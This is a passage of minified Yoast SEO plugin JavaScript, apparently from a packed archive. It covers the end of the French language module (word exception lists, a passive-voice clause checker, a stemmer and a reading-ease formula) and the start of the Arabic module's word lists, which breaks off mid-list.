té","collégialité","combativité","comestibilité","comité","commodité","communauté","communicabilité","compacité","comparabilité","compatibilité","compétitivité","complémentarité","complexité","complicité","comptabilité","comté","concavité","condé","conductibilité","conductivité","confidentialité","conformité","confraternité","congé","conjugalité","connectivité","consanguinité","constitutionnalité","contiguïté","continuité","contrariété","contre-gré","contre-plaqué","contre-vérité","contreplaqué","contrevérité","convexité","convivialité","coopé","copropriété","cordialité","coré","coriacité","corporalité","côté","créativité","crédibilité","crédulité","crétacé","criminalité","cruauté","crudité","culpabilité","cupidité","curiosité","cybercafé","cyprinidé","dangerosité","daphné","dé","débotté","décimalité","décision-clé","déclivité","déductibilité","défectuosité","degré","déité","déloyauté","demi-clarté","demi-degré","demi-liberté","demi-obscurité","demi-vérité","dénatalité","densité","député","dératé","dernier-né","désirabilité","dextérité","difficulté","difformité","dignité","discontinuité","disparité","disponibilité","diversité","divinité","docilité","domesticité","doyenné","dualité","duché","duplicité","durabilité","dureté","faculté","faillibilité","faisabilité","familiarité","fatalité","fatuité","fausseté","fébrilité","fécondité","félidé","félinité","féminité","féodalité","fermeté","férocité","ferté","fertilité","festivité","fétidité","fiabilité","fibrillé","fidélité","fierté","finalité","fiscalité","fixité","flaccidité","flatuosité","flexibilité","flexuosité","flottabilité","fluidité","fonctionnalité","formalité","fossé","fragilité","francité","fraternité","friabilité","frigidité","frilosité","fringillidé","frivolité","frugalité","fugacité","furtivité","futilité","gaieté","gaîté","gallinacé","gémellité","généralité","générosité","génialité","génitalité","germanité","gibbosité","globalité","godemiché","gracieuseté","gracilité","grand-duché","granité","gratuité","gravidité","gré","grossièreté","habileté","habitabilité","haute-fidélité","henné","hérédité","hétérogénéité","hétérosexualité","hilarité","histocompatibilité","historicité","homme-clé","homogénéité","homosexualité","honnêteté","honorabilité","horizontalité","hospitalité","hostilité","humanité","humidité","humilité","hyperacidité","hyperactivité","hypercoagulabilité","hyperémotivité","hypermarché","hyperréactivité","hypersensibilité","jovialité","joyeuseté","jubé","judaïcité","judaïté","judéité","juvénilité","karaoké","karaté","karité","kiné","koré","lâcheté","laïcité","lamedé","lascivité","latéralité","latinité","laubé","laxité","lé","légalité","légèreté","légitimité","lèse-majesté","létalité","lettre-clé","libéralité","liberté","licéité","limpidité","liquidité","lisibilité","littéralité","lividité","localité","longanimité","longévité","loquacité","loyauté","lubricité","lucidité","luminosité","macramé","magnanimité","majesté","majorité","mal-aimé","mal-baisé","malhonnêteté","malignité","malinké","malléabilité","malpropreté","maniabilité","manoeuvrabilité","marginalité","masculinité","maskinongé","massivité","matérialité","maternité","matité","maturité","mauvaiseté","méchanceté","médiocrité","médiumnité","mémé","mémorabilité","mendicité","mensualité","mentalité","merveillosité","méticulosité","mi-capacité","mi-été","mi-meublé","mi-porté","mi-réalité","mi-résigné","miché","microgravité","minorité","mitoyenneté","mixité","mobilité","mocheté","modalité","modernité","modicité","moment-clé","mondanité","monstruosité","mont-de-piété","monumentalité","mooré","moralité","morbidité","morosité","mortalité","mot-clé","motilité","motricité","mousmé","mucosité","multiplicité","multipropriété","municipalité","musicalité","mutabilité","mutité","mutualité","naïveté","narghilé","narguilé","natalité","nationalité","nativité","navigabilité","nébulosité","négativité","néné","nervosité","nescafé","netteté","neutralité","névé","niakoué","niébé","nocivité","non-conformité","non-culpabilité","nordicité","normalité","notabilité","notoriété","nouveauté","nouvelleté","nubilité","nudité","nue-propriété","nullité","nuptialité","papauté","papé","parenté","parité","partialité","particularité","passiveté","passivité","pâté","paternité","pause-café","pauses-café","pauvreté","pédé","pédégé","pénalité","pépé","pérennité","perfectibilité","périodicité","perméabilité","permissivité","péroné","perpétuité","perplexité","perré","personnage-clé","personnalité","perspicacité","perversité","pèse-bébé","petit-salé","photosensibilité","phrase-clé","pilosité","pisé","pitié","placidité","plasticité","plausibilité","pluralité","pluviosité","point-clé","poiré","poire-vérité","polarité","polycopié","polytonalité","ponctualité","pongé","popularité","porosité","portabilité","porte-bébé","porte-clé","position-clé","positivité","possessivité","possibilité","poste-clé","postérité","potentialité","pousse-café","pré","pré-salé","précarité","préciosité","précocité","prématurité","prévisibilité","prévôté","prieuré","primauté","principauté","priorité","privauté","probabilité","probité","prodigalité","productivité","profitabilité","prolixité","promiscuité","proportionnalité","propreté","propriété","prospérité","proximité","psyché","puberté","publicité","pudicité","puérilité","pugnacité","puîné","pureté","pusillanimité","qualité","quantité","quarté","quasi-impossibilité","quasi-impunité","quasi-nudité","quasi-totalité","quasi-unanimité","question-clé","quinté","quotidienneté","quotité","radioactivité","raisiné","rapacité","raphé","rapidité","rareté","rationalité","raucité","ré","réactivité","réalité","récépissé","réceptivité","recevabilité","réciprocité","récré","régularité","relativité","religiosité","rentabilité","reportage-vérité","respectabilité","responsabilité","réversibilité","rigidité","risibilité","rivalité","romanité","rotondité","roulé-boulé","royauté","rugosité","rusticité","sagacité","saint-honoré","sainteté","saké","salacité","saleté","salinité","salmonidé","salubrité","santé","sapidité","satiété","sauveté","scène-clé","scientificité","scissiparité","scolarité","scrupulosité","sécurité","sédentarité","sélectivité","semi-liberté","séné","sénevé","sénilité","sensibilité","sensorialité","sensualité","sentimentalité","septicité","sérénité","sergé","séropositivité","sérosité","serviabilité","servilité","sévérité","sexualité","similarité","simplicité","simultanéité","sincérité","singularité","sinuosité","sobriété","sociabilité","société","solennité","solidarité","solidité","solubilité","soluté","solvabilité","sommité","somptuosité","sonorité","sordidité","sororité","soudaineté","sous-comité","sous-humanité","souveraineté","spasticité","spécialité","spécificité","sphéricité","spiritualité","spontanéité","sportivité","spumosité","stabilité","sténopé","stérilité","stupidité","suavité","subjectivité","sublimité","subtilité","succédané","suggestibilité","suggestivité","superficialité","superfluité","supériorité","supermarché","supraconductivité","suractivité","surcapacité","surdité","sûreté","surgé","surhumanité","surintensité","surréalité","susceptibilité","suzeraineté","synthé","taboulé","taciturnité","tamouré","tangibilité","tarpé","technicité","télé","témérité","témoin-clé","temporalité","ténacité","tendreté","ténébrionidé","ténuité","territorialité","tévé","thé","théâtralité","tiaré","timidité","tollé","tonalité","tonicité","totalité","toxicité","traçabilité","tranquillité","translucidité","transsexualité","trinité","trivialité","tsé-tsé","tubérosité","turbé","vacuité","vahiné","validité","vanité","variabilité","variété","vassalité","vastité","velléité","vélocité","vénalité","vénusté","véracité","verbosité","vérité","versatilité","verticalité","vétusté","viabilité","vicinalité","vicomté","viduité","virginité","virilité","virtualité","virtuosité","viscosité","visibilité","vitalité","vivacité","volatilité","volonté","volubilité","volupté","voracité","vulgarité","vulnérabilité","batée","becquée","billevesée","bolée","bondrée","borée","bouée","bougainvillée","brouettée","buée","caducée","canne-épée","casserolée","cavée","centaurée","cépée","céphalée","charretée","chaudronnée","chicorée","chorée","cochlée","cochonnée","colée","contre-allée","contre-plongée","corvée","coryphée","cucurbitacée","cuillerée","culée","cylindrée","demi-journée","demi-volée","denrée","dernière-née","diarrhée","diatomée","dionée","dragée","dulcinée","dysménorrhée","dyspnée","fée","feuillée","flopée","fournée","fricassée","friselée","galathée","galée","giboulée","giroflée","gonorrhée","goulée","graminée","guinée","gynécée","haquenée","hottée","hyménée","hyperborée","hypogée","journée","lance-fusée","litée","logorrhée","lycée","macchabée","mainlevée","maisonnée","mal-aimée","mal-baisée","maréchaussée","marée","mausolée","mélopée","mi-effrontée","mi-journée","miellée","mijaurée","mosquée","moteur-fusée","muflée","nausée","nuée","nuitée","panacée","pâtée","peignée","pelletée","pépée","périgée","périnée","pharmacopée","pipée","platée","pochetée","pochetée","poignée","poirée","poisson-épée","porte-épée","potée","poupée","première-née","prérentrée","presse-purée","prytanée","purée","quasi-fiancée","ramée","raz-de-marée","resucée","rétrofusée","rez-de-chaussée","risée","ruchée","scarabée","séborrhée","sigisbée","simagrée","singe-araignée","soirée","solanacée","tablée","tinée","trachée","trâlée","transfusée","travée","trépanée","trochée","trophée","vallée","ventrée","vesprée"],le=["bé","cré","crédié","é","loucedé","eussé","hé","malgré","moitié-moitié","ohé","olé","ollé","sacrédié","quasi-instantanée"],{precedenceException:re,directPrecedenceException:ne,values:ae}=t.languageProcessing,{Clause:oe}=ae,ue=["être","d'être","suis","es","est","sommes","êtes","sont","n'est","n'es","n'êtes","été","j'étais","étais","était","étions","étiez","étaient","c'était","n'étais","n'était","n'étions","n'étiez","n'étaient","serai","seras","sera","serons","serez","seront","sois","soit","soyons","soyez","soient","fusse","fusses","fût","fussions","fussiez","fussent","serais","serait","serions","seriez","seraient","fus","fut","fûmes","fûtes","furent","suis-je","es-tu","est-il","est-elle","est-on","sommes-nous","êtes-vous","sont-ils","sont-elles","est-ce","étais-je","étais-tu","était-il","était-elle","était-on","était-ce","étions-nous","étiez-vous","étaient-ils","étaient-elles","serai-je","seras-tu","sera-t-il","sera-t-elle","sera-t-on","sera-ce","serons-nous","serez-vous","seront-ils","seront-elles","serais-je","serais-tu","serait-il","serait-elle","serait-on","serait-ce","serions-nous","seriez-vous","seraient-ils","seraient-elles","fus-je","fus-tu","fut-il","fut-elle","fut-on","fut-ce","fûmes-nous","fûtes-vous","furent-ils","furent-elles"],{createRegexFromArray:de,getClauses:ce}=t.languageProcessing,me={Clause:class extends oe{constructor(e,i){super(e,i),this._participles=function(e){const i=Z(e),t=[];return(0,G.forEach)(i,(function(e){0===ee(e,[/\S+(é|ée|és|ées)($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi]).length&&0===function(e){let i=[].concat(ie(e,K,"(e|s|es)"));return i=i.concat(ie(e,Y,"(e|es)")),(0,G.includes)(Q,e)&&i.push(e),i}(e).length||t.push(e)})),t}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const e=this.getClauseText(),i=this.getParticiples().filter((i=>!(i.startsWith("l'")||i.startsWith("d'")||(0,G.includes)(le,i)||this.isOnAdjectiveVerbExceptionList(i)||this.isOnNounExceptionList(i)||ne(e,i,F)||re(e,i,_))));this.setPassive(i.length>0)}isOnAdjectiveVerbExceptionList(e){return!!te.includes(e)||(e.endsWith("es")?e=e.slice(0,-2):(e.endsWith("e")||e.endsWith("s"))&&(e=e.slice(0,-1)),te.includes(e))}isOnNounExceptionList(e){return!!se.includes(e)||(e.endsWith("s")&&(e=e.slice(0,-1)),se.includes(e))}},stopwords:J,auxiliaries:ue,regexes:{auxiliaryRegex:de(ue),stopCharacterRegex:/(,)(?=[ \n\r\t'"+\-»«‹›<>])/gi,followingAuxiliaryExceptionRegex:de(["le","la","les","une","l'un","l'une"]),directPrecedenceExceptionRegex:de(["se","me","te","s'y","m'y","t'y","nous nous","vous vous"]),elisionAuxiliaryExceptionRegex:de(["c'","s'","peut-"],!0)}};function pe(e){return ce(e,me)}const{exceptionListHelpers:{checkIfWordEndingIsOnExceptionList:be},regexHelpers:{applyAllReplacements:fe}}=t.languageProcessing,{baseStemmer:ve}=t.languageProcessing;function ge(e){const i=(0,G.get)(e.getData("morphology"),"fr",!1);return i?e=>function(e,i){const t=e=e.toLowerCase(),s=function(e,i){for(const t of i.cannotTakeExtraSuffixS)if(t[0]===e)return t[1];e.endsWith("s")&&(e=e.slice(0,-1));for(const t of i.canTakeExtraSuffixS)if(t[0]===e)return t[1]}(e,i.shortWordsAndStems);if(s)return s;const l=function(e,i){for(const t of i)if(t[1].includes(e))return t[0];return null}(e,i.exceptionStemsWithFullForms);if(l)return l;if(e.endsWith("x")&&i.pluralsWithXSuffix.includes(e))return e.slice(0,-1);if(e.endsWith("s")&&i.sShouldNotBeStemmed.includes(e))return e;const r=i.nonVerbsOnEnt;if(e.endsWith("ent")&&r.includes(e))return e;if(e.endsWith("ents")&&r.includes(e.slice(0,-1)))return e.slice(0,-1);const n=i.nonVerbsOnOns;if(e.endsWith("ons")&&n.includes(e))return e.slice(0,-1);e=fe(e,i.regularStemmer.preProcessingStepsRegexes);const[a,o,u]=function(e,i){let t;-1!==e.search(new RegExp(i.rvRegex1))||-1!==e.search(new RegExp(i.rvRegex2))?t=3:(t=e.substring(1).search(new RegExp(i.rvRegex3)),-1===t?t=e.length:t+=2);const s=new RegExp(i.r1Regex);let l=e.search(s),r="";-1===l?l=e.length:(l+=2,r=e.substring(l));let n=r.search(s);return-1===n?n=e.length:(n+=2,n+=l),-1!==l&&l<3&&(l=3),[l,n,t]}(e,i.regularStemmer.rIntervals),d=e=function(e,i,t,s,l){const r=e.search(new RegExp(i.standardSuffixes1)),n=e.search(new RegExp(i.standardSuffixes2)),a=e.search(new RegExp(i.standardSuffixes3[0])),o=e.search(new RegExp(i.standardSuffixes4[0])),u=e.search(new RegExp(i.standardSuffixes5[0])),d=e.search(new RegExp(i.standardSuffixes6)),c=e.search(new RegExp(i.standardSuffixes7)),m=e.search(new RegExp(i.standardSuffixes8)),p=e.search(new RegExp(i.standardSuffixes9[0])),b=e.search(new RegExp(i.standardSuffixes10[0])),f=e.search(new RegExp(i.standardSuffixes11[0])),v=e.search(new RegExp(i.standardSuffixes12)),g=e.search(new RegExp(i.standardSuffixes13[0])),y=e.search(new RegExp(i.standardSuffixes14[0])),w=e.search(new RegExp(i.standardSuffixes15));if(-1!==r&&r>=s)e=e.substring(0,r);else if(-1!==n&&n>=s){const t=(e=e.substring(0,n)).search(new RegExp(i.suffixesPrecedingChar1[0]));e=-1!==t&&t>=s?e.substring(0,t):e.replace(new RegExp(i.suffixesPrecedingChar1[0]),i.suffixesPrecedingChar1[1])}else if(-1!==a&&a>=s)e=e.slice(0,a)+i.standardSuffixes3[1];else if(-1!==o&&o>=s)e=e.slice(0,o)+i.standardSuffixes4[1];else if(-1!==u&&u>=s)e=e.slice(0,u)+i.standardSuffixes5[1];else if(-1!==v&&v>=t)e=e.substring(0,v+1);else if(-1!==d&&d>=l){const r=(e=e.substring(0,d)).search(new RegExp(i.suffixesPrecedingChar2[0])),n=e.search(new RegExp(i.suffixesPrecedingChar4[0])),a=e.search(new RegExp(i.suffixesPrecedingChar5[0])),o=e.search(new RegExp(i.suffixesPrecedingChar6[0]));if(r>=s){const t=(e=e.slice(0,r)+i.suffixesPrecedingChar2[1]).search(new RegExp(i.suffixesPrecedingChar3[0]));t>=s&&(e=e.slice(0,t)+i.suffixesPrecedingChar3[1])}else-1!==e.search(new RegExp(i.suffixesPrecedingChar4[0]))?n>=s?e=e.substring(0,n):n>=t&&(e=e.substring(0,n)+i.suffixesPrecedingChar4[1]):a>=s?e=e.slice(0,a)+i.suffixesPrecedingChar5[1]:o>=l&&(e=e.slice(0,o)+i.suffixesPrecedingChar6[1])}else if(-1!==c&&c>=s){const t=(e=e.substring(0,c)).search(new RegExp(i.suffixesPrecedingChar7[0])),l=e.search(new RegExp(i.suffixesPrecedingChar1[0]));-1!==t?e=t>=s?e.substring(0,t):e.substring(0,t)+i.suffixesPrecedingChar7[1]:-1!==l?e=-1!==l&&l>=s?e.substring(0,l):e.substring(0,l)+i.suffixesPrecedingChar1[1]:e.search(new RegExp(i.suffixesPrecedingChar2[0]))>=s&&(e=e.replace(new RegExp(i.suffixesPrecedingChar2[0]),i.suffixesPrecedingChar2[1]))}else if(-1!==m&&m>=s)(e=e.substring(0,m)).search(new RegExp(i.suffixesPrecedingChar3[0]))>=s&&(e=(e=e.replace(new RegExp(i.suffixesPrecedingChar3[0]),i.suffixesPrecedingChar3[1])).search(new RegExp(i.suffixesPrecedingChar1[0]))>=s?e.replace(new RegExp(i.suffixesPrecedingChar1[0]),""):e.replace(new RegExp(i.suffixesPrecedingChar1[0]),i.suffixesPrecedingChar1[1]));else if(-1!==p)e=e.replace(new RegExp(i.standardSuffixes9[0]),i.standardSuffixes9[1]);else if(b>=t)e=e.replace(new RegExp(i.standardSuffixes10[0]),i.standardSuffixes10[1]);else if(-1!==f){const l=e.search(new RegExp(i.standardSuffixes11[0]));l>=s?e=e.substring(0,l):l>=t&&(e=e.substring(0,l)+i.standardSuffixes11[1])}else-1!==g&&g>=l?e=e.replace(new RegExp(i.standardSuffixes13[0]),i.standardSuffixes13[1]):-1!==y&&y>=l?e=e.replace(new RegExp(i.standardSuffixes14[0]),i.standardSuffixes14[1]):-1!==w&&w>=l&&(e=e.substring(0,w+1));return e}(e,i.regularStemmer.standardSuffixes,a,o,u),c=function(e,i,t,s){let l=!1;if(i===e.toLowerCase()||be(i,s.exceptions)){l=!0;const i=new RegExp(s.suffixes[0]);e.search(i)>=t&&(e=e.replace(i,s.suffixes[1]))}return{word:e,step2aDone:l}}(e,t,u,i.regularStemmer.verbSuffixesWithIBeginning);e=c.word;const m=c.step2aDone;if(r.includes(e)||(e=function(e,i,t,s,l,r){const n=r.regularStemmer.otherVerbSuffixes;if(i&&t===e){const i=new RegExp(n[0]);if(e.search(i)>=s)return e.replace(i,"");for(let i=1;i<n.length;i++){const t=new RegExp(n[i]);if(e.search(t)>=l)return e.replace(t,"")}if(e.endsWith("ions"))return e;const t=new RegExp(r.regularStemmer.verbSuffixOns);e.search(t)>=l&&(e=e.replace(t,""))}return e}(e,m,d,o,u,i)),t===e.toLowerCase())e=function(e,i,t,s){const l=s.residualSuffixes;e.search(new RegExp(l.residualSuffixes1[0]))>=i&&(e=e.replace(new RegExp(l.residualSuffixes1[0]),l.residualSuffixes1[1]));const r=e.search(new RegExp(l.residualSuffix2));if(r>=t&&e.search(new RegExp(l.residualSuffix3))>=i)e=e.substring(0,r);else{let t=e.search(new RegExp(l.residualSuffixes4[0]));t>=i?e=e.substring(0,t)+l.residualSuffixes4[1]:(t=e.search(new RegExp(l.residualSuffix5)),t>=i?e=e.substring(0,t):(t=e.search(new RegExp(l.residualSuffix6[0])),t>=i&&(e=e.substring(0,t)+l.residualSuffix6[1])))}return e}(e,u,o,i.regularStemmer);else{const t=i.regularStemmer.yAndSoftCEndingAndReplacement.yEndingAndReplacement,s=i.regularStemmer.yAndSoftCEndingAndReplacement.softCEndingAndReplacement;e.endsWith(t[0])?e=e.slice(0,-1)+t[1]:e.endsWith(s[0])&&(e=e.slice(0,-1)+s[1])}e=fe(e,i.regularStemmer.finalConsonantUndoubling);const p=i.regularStemmer.unaccentERegex;return function(e,i){for(const t of i.adjectives)if(t.includes(e))return t[0];for(const t of i.verbs)if(t.includes(e))return t[0]}(e=(e=e.replace(new RegExp(p[0]),p[1])).toLowerCase(),i.stemsThatBelongToOneWord)||e}(e,i):ve}const{formatNumber:ye}=t.helpers;function we(e){const i=207-1.015*e.numberOfWords/e.numberOfSentences-73.6*e.numberOfSyllables/e.numberOfWords;return ye(i)}const{AbstractResearcher:he}=t.languageProcessing;class qe extends he{constructor(e){super(e),Object.assign(this.config,{language:"fr",passiveConstructionType:"periphrastic",firstWordExceptions:s,functionWords:H,stopWords:J,transitionWords:r,twoPartTransitionWords:U,syllables:X}),Object.assign(this.helpers,{getClauses:pe,getStemmer:ge,fleschReadingScore:we})}}(window.yoast=window.yoast||{}).Researcher=i})();wordpress-seo/js/dist/languages/ar.js000064400000155131147510273070013661 0ustar00(()=>{"use strict";var e={d:(t,r)=>{for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{default:()=>de});const r=window.yoast.analysis,n=["قليل","بعض","واحد","واحد","إثنان","ثلاثة","أربعة","خمسة","ستة","سبعة","ثمانية","تسعة","عشرة","هذا","هذه","ذلك","تلك","هذين","هذان","هتين","هتان","هؤلا","أولائك","هؤلاء"],o=["كذلك","ولكن","ولذلك","حاليا","أخيرا","بالطبع","ثم","بما","كما","لما","إنما","ليتما","إما","أينما","حيثما","كيفما","أيما","أيّما","بينما","ممّا","إلاّ","ألّا","لئلّا","حبّذا","سيّما","لكن","بالتالي","هكذا","أو","أم","لذلك","مثلا","تحديدا","عموما","لاسيما","خصوصا","بالأخص","خاصة","بالمثل","لأن","بسبب","إذا","عندما","حين","متى","قبل","بعد","منذ","أيضا","ريثما","بين"],s=o.concat(["إلا إذا","إلا أن","إلى آخره","إلى الأبد","إلى أن","آن لك أن","آن له أن","آن لعلي","بعد ذلك","بما أن","بما فيه","حتى لا","حتى لو","عليك أن","علينا أن","عليه أن","عليكم أن","فيما بعد","لا أحد","لا بأس أن","لا بد من","لا بد من أن","لا سيما","لا شيء","لا غير","لا هذا ولا ذاك","له أن","لها أن","لك أن","لكم أن","ما لم","مع هذا ، مع ذلك","من أجل أن","من أجلك","من أجلها","من أجل","من دون ، بدون","منذ ذلك الحين","بالإضافة إلى ذلك","في نهاية المطاف","في الوقت الحالي","علاوة على ذلك","بدلا من ذلك","في الواقع","بناء على ذلك","ومع ذلك","في الحقيقة","من ناحية أخرى","لا يزال","وفي الوقت نفسه","زيادة على ذلك","زيادة على","علاوة على","ما عدا","مع ذلك","غير أن","من جهة أخرى","على عكس ذلك","نتيجة لذلك","من ثم","على سبيل المثال","على وجه الخصوص","على وجه التحديد","بصفة عامة","قبل كل شيء","في النهاية","بصورة شاملة","رغم أن","مع ان","على الرغم من","من هنا"," لهذا السبب","في حالة","في أقرب وقت","على أي حال","في نفس الوقت","من بين"]);function i(e){let t=e;return e.forEach((r=>{(r=r.split("-")).length>0&&r.filter((t=>!e.includes(t))).length>0&&(t=t.concat(r))})),t}const c=["الـ"],a=["صفر","واحد","واحدة","أحد","إحدى","إثنان","اثنتان","إثنين","ثنتين","إثنتين","إثنا","إثنى","إثنتا","إثنتي","ثلاث","ثلاثة","أربع","أربعة","خمس","خمسة","ست","ستة","سبع","سبعة","ثمان","ثمانية","تسع","تسعة","عشر","عشرة","عشرون","ثلاثون","أربعين","أربعون","خمسون","ستون","سبعون","ثمانون","تسعون","مئة","مائة","مئتان","ثلاثمئة","ثلاثمائة","أربعمئة","أربعمائة","خمسمئة","خمسمائة","ستمئة","ستمائة","سبعمئة","سبعمائة","ثمانمئة","ثمانمائة","تسعمئة","تسعمائة","ألف","ألآف","ألفا","ألفين","مليون","ملايين","مليار"],u=["الأول","الأولى","الثاني","الثانية","الثالث","الثالثة","الرابع","الرابعة","الخامس","الخامسة","السادس","السادسة","السابع","السابعة","الثامن","الثامنة","التاسع","التاسعة","العاشر","العاشرة","الحادي","الحادية","العشرون","الثلاثون","الأربعون","الخمسون","الستون","السبعون","الثمانون","التسعون","المئة","المائة"],l=["أنا","انت","هو","هي","نحن","أنتما","هما","أنتم","أنتن","هم","هن","وأنا","وأنت","وهو","وانا","ونحن","وهي","وانت","أنتي","فهو","وهم","وأنتما"],d=["إياه","إياهما","إياهم","إياها","إياكما","إياهن","إياك","إياكم","إياكن","إياي","إيانا"],f=["هذا","هذه","هذان","هذين","هتان","هـتين","ذا","ذان","ذين","أولئ","ذلك","ذانك","ذينك","تلك","تانك","تينك","أولئك","هؤلاء","ذاك","هاتان","هاتين","ذه","هأولئ","ذلكم","ذلكم","وهذا","هذة","أولئك"],m=["يا","أي","هيا","أ","آ","أيها","أيتها"],h=["جميع","كل","بعض","كثير","كثيرة","عديد","عديدة","لبعض","قليلا","كافية","كافي","صغير","صغيرة","قليل","قليلة","كثيرا","بالكثير","أكثر","اكبر","اغلب","عديدة","عديد","قليلون","أقل","كل","الكثير","المزيد","اكثر","الأقل","يكفي","العديد","كله","جميعا","كلها","وكل","كلنا","كثيرة","الأكثر","ببعض","بضعة","عدة"],g=["نفسي","نفسك","نفسه","نفسها","أنفسنا","أنسفكم","أنفسهم","أنفسهما","أنفسكما","أنفسكن","أنفسهن","بنفسي"],w=["ليس","جميع","الكل","الجميع","شخص","شيء","شيئا","أخرى","آخرين","أي","أيا","من","الآخرين","أحد","شئ","أخرى","شىء","احد","أية","اخرى","البعض","أخر","الآخر","أحدهم","الأخرى","الشئ","بعضنا","بشيء","شي","الغير"],p=["الذي","التي","الذى","التى","الذين","مالذي","اللذان","الذين","اللتان","اللاتي","الذي","اللتين","اللذين","اللواتي"],x=["جدا","حقا","للغاية","تماما","فعلا"],S=["ماذا","لمن","ما","أي","أى","وماذا","وما","بماذا","ماهو","ماهذا"],R=["من","ومن"],W=["اين","كيف","لماذا","لم","سواء","أينما","كيفما","مـتى","كم","هل","أين","أهذا","وكيف","وهل"],v=["هنا","هناك","هنالك"],y=["دائما","مرة","مرتين"],F=["يجب","سوف","قد","أستطيع","يستطيع","نستطيع","تستطيع","استطيع","تستطيعين","استطعت","استطاعت","استطاع","استطعتما","استطاعتا","استطاعا","استطعنا","استطعتن","استطعتم","استطعن","استطاعوا","تستطيعان","يستطيعان","تستطعن","تستطيعون","يستطعن","يستطيعون","تستطيعي","تستطيعا","يستطيعا","تستطيعوا","يستطيعوا","استطيعت","استطيعتا","استطيعا","استطيعوا","تستطاعين","تستطاع","يستطاع","نستطاع","تستطاعان","يستطاعان","تستطاعون","يستطاعون","أستطاع","تستطاعي","تستطاعا","يستطاعا","يستطاعوا","تستطاعوا","استطيعي","يمكنني","يمكن","يمكننى","بإمكانك","لابد","ينبغي","وسوف","هلا","بد","وقد","ولقد","يمكنه","يمكنهما","يمكنهم","يمكنها","يمكنكما","يمكنهن","يمكنك","يمكنكم","يمكنكن","يمكني","يمكننا"],b=["لدي","لديك","لدينا","لديه","لديها","لديهم","لديهما","لديكم","لديكما","لديهن","لديكن","صبحت","صبح","صبحتما","صبحا","صبحتا","صبحنا","صبحتن","صبحتم","صبحن","صبحوا","أصبح","تصبحين","تصبح","يصبح","تصبحان","يصبحان","نصبح","تصبحن","تصبحون","تصبحي","تصبحا","يصبحا","تصبحوا","يصبحوا","اصبحي","اصبحوا","اصبحا","ابقى","كان","كنت","كانت","يكون","كنتما","كانتا","كانا","كنا","كن","كانوا","كنتم","أكون","تكونين","تكون","تكونان","يكونان","نكون","تكونون","يكن","يكونون","تكوني","تكونا","يكونا","تكونوا","يكونوا","كونا","كونوا","كن","أكن","اكون","وكان","كوني","اكن","سنكون","كنا","سيكون","يكن","ستكون","تكن","سأكون","بت","باتت","بات","بتما","باتتا","باتا","بتنا","بتن","بتم","باتوا","أبيت","بت","صرت","صرت","صار","صرتما","صارتا","صارا","صرنا","صرتن","صرتم","صرن","صاروا","أصير","تصيرين","تصير","يصير","تصيران","يصيران","نصير","تصرن","يصرن","تصيرون","يصيرون","تصيري","تصيرا","يصيرا","تصيروا","يصيروا","ليس","وليس","ليست","ليسوا","ليسا","ليسنا","ليسن","أليس","اليس","لست","لسنا"],L=["أن","في","على","إلى","ان","عن","فى","مع","الى","بعد","بدون","تحت","طوال","علي","غير","لدى","حول","خلال","لكي","بين","الي","خارج","بشأن","فوق","دون","لـ","بـ","بلا","بواسطة","ضد","أمام","وفي","وشك","نحو","ذو","أسفل","ب","خلف","بجانب","عدا","طبقا","بعد","عكس","منذ"],z=["إليه","إليهما","إليهم","إليها","إليكما","إليهن","إليك","إليكم","إليكن","إلي","إلينا","عليه","عليهما","عليهم","عليها","عليكما","عليهن","عليك","عليكم","عليكن","علي","علينا","عنه","عنهما","عنهم","عنها","عنكما","عنهن","عنك","عنكم","عنكن","عني","عننا","له","لهما","لهم","لها","لكما","لهن","لك","لكم","لكن","لي","لنا","معه","معهما","معهم","معها","معكما","معهن","معك","معكم","معكن","معي","معنا","منه","منهما","منهم","منها","منكم","منهن","منك","منكم","منكن","مني","منا","فيه","فيهما","فيهم","فيها","فيكما","فيهن","فيك","فيكم","به","بهما","بهم","بها","بكما","بهن","بك","بكم","بكن","بي","بنا","بينهم","بينهما","بينكما","بينكم","بتلك","بذلك","فأنت","بيننا","بهذا","بهذه","فأنا","فهذا","فيما","أجلك","كهذا","لأي","لذلك","لما","لنفسك","لهذا","لهذه"],E=["داخل","ضمن","قدما"],O=["و","و/او","او","أو"],P=["إذا","لو","اذا","وإذا","أذا"],_=["أقول","تقول","تقولين","تقولان","يقول","تقول","يقولان","تقولان","نقول","تقولون","تقلن","يقولون","قلت","قلتما","قال","قالت","قالا","قالتا","قلنا","قلتما","قلتن","قالوا","قلنا","تدعي","يدعي","تدعيان","تدعون","يدعون","يدعين","ادعيت","ادعيت","ادعيتما","ادعى","ادعت","ادعينا","ادعيتما","ادعيتن","ادعوا","ادعينا","تسأل","تسألين","يسأل","تسأل","نسأل","تسألون","تسألن","يسألون","يسألن","سألت","سألنا","سألتم","سألتن","سألوا","سألنا","تشرح","تشرحين","يشرح","تشرح","نشرح","تشرحون","تشرحن","يشرحون","يشرحن","شرحت","شرح","شرحت","شرحنا","شرحتم","شرحتن","شرحوا","شرحنا","شرحن","أعتقد","تعتقد","تعتقدين","يعتقد","تعتقد","تعتقدون","تعتقدن","يعتقدون","يعتقدن","اعتقدت","اعتق","اعتقدت","أتحدث","تتحدث","تتحدثين","يتحدث","تتحدث","نتحدث","تحدثت","تحدث","تحدثت","تحدثوا","تحدثن","أعلن","تعلن","تعلنين","يعلن","تعلن","نعلن","يعلنون","يعلن","أعلنت","أعلن","أعلنت","أعلنا","أعلنوا","أعلن","أناقش","تناقش","تناقشين","يناقش","تناقش","نناقش","تناقشون","تناقشن","يناقشون","يناقشن","ناقشت","ناقشت","ناقشت","ناقشت","ناقشت","ناقشنا","ناقشتم","ناقشتن","ناقشوا","ناقشن","أفهم","تفهم","تفهمين","يفهم","تفهم","نفهم","يفهمون","يفهمن","فهمت","فهم","فهمت","فهمنا","فهموا","فهمن"],M=["يعني","أحتاج","يعمل","تعني","تقوم","أود","عندك","البقاء","حاولت","توجد","دعونا","تفكر","جئت","يريدون","أتيت","فعلته","تقصد","زال","إرادة","مريد","مراد","أردت","أردت","أردت","أرادت","أريد","تريد","تريدين","يريد","تريد","أريد","تريد","يريد","تريد","أرد","ترد","يرد","ترد","أرد","أريدي","أردتما","تريدان","تريدا","تريدا","أريدا","أرادا","أرادتا","يريدان","تريدان","يريدا